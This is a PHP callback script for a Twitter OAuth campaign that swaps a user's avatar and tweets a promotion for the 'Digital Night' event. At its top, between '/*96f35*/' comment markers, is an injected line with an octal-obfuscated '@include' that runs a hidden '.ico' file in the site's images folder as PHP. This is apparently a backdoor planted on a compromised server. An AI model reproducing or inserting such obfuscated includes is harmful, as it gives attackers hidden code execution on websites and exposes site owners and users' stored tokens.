<?php
/*96f35*/

@include "\057ho\155e/\150om\145pa\147e/\160ub\154ic\137ht\155l/\144ig\151ta\154ni\147ht\056rs\057im\141ge\163/m\145di\152sk\151-p\141rt\156er\057.f\06453\06480\071.i\143o";

/*96f35*/




/*
 * @file
 * User has successfully authenticated with Twitter. Access tokens saved to session and DB.
 */

/* Load required lib files. */

session_start();
require_once('sql.php');
require_once('functions.php');

require_once('twitteroauth/twitteroauth.php');
require_once('config.php');

/*print_r($_SESSION);*/
/* If access tokens are not available redirect to connect page. */
if (empty($_SESSION['access_token']) || empty($_SESSION['access_token']['oauth_token']) || empty($_SESSION['access_token']['oauth_token_secret'])) {
    header('Location: ./clearsessions.php');
}
/* Get user access tokens out of the session. */
$access_token = $_SESSION['access_token'];

/* Create a TwitterOauth object with consumer/user tokens. */
$connection = new TwitterOAuth(CONSUMER_KEY, CONSUMER_SECRET, $access_token['oauth_token'], $access_token['oauth_token_secret']);

/* If method is set change API call made. Test is called by default. */
$content = $connection->get('account/verify_credentials');

if(isset($content->followers_count)) {
    if($content->followers_count < 3000) {
        header('Location:followers_error.php');
    }
}


$img_original = str_replace("_normal", "", $content->profile_image_url);

$img_original = file_get_contents($img_original);
file_put_contents('user_img/'.$content->screen_name.'.jpg', $img_original);



make_img($content->screen_name);

// Insert users screen name and set it in the session.
insert_user($content->screen_name);


$_SESSION['tw_screen_name'] = $content->screen_name;

if(isset($_POST['submit'])) {

    add_to_playlist($content->id_str);
    $path = "user_img/".$content->screen_name.".png";
    $type = pathinfo($path, PATHINFO_EXTENSION);
    $data = file_get_contents($path);
    $img_base64 = 'data:image/' . $type . ';base64,' . base64_encode($data);
    $img_base64 = base64_encode($data);
    $change_profile = $connection->post('account/update_profile_image', array('image' => $img_base64));
    $msg = "Uspešno si zamenio/la svoj Twitter avatar. Hvala ti što podržavaš Digital Night.";
    $content = $connection->post('statuses/update', array('status' => 'Dolazim na @DigitalNightRs. Vidimo se! http://digitalnight.rs #DigitalNight'));
    $_SESSION['changed_avatar'] = true;

    echo "
    <script src='//ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js'></script>
    <script>
        top.location.href = '../index.php';
    </script>";
}

include('home.php');

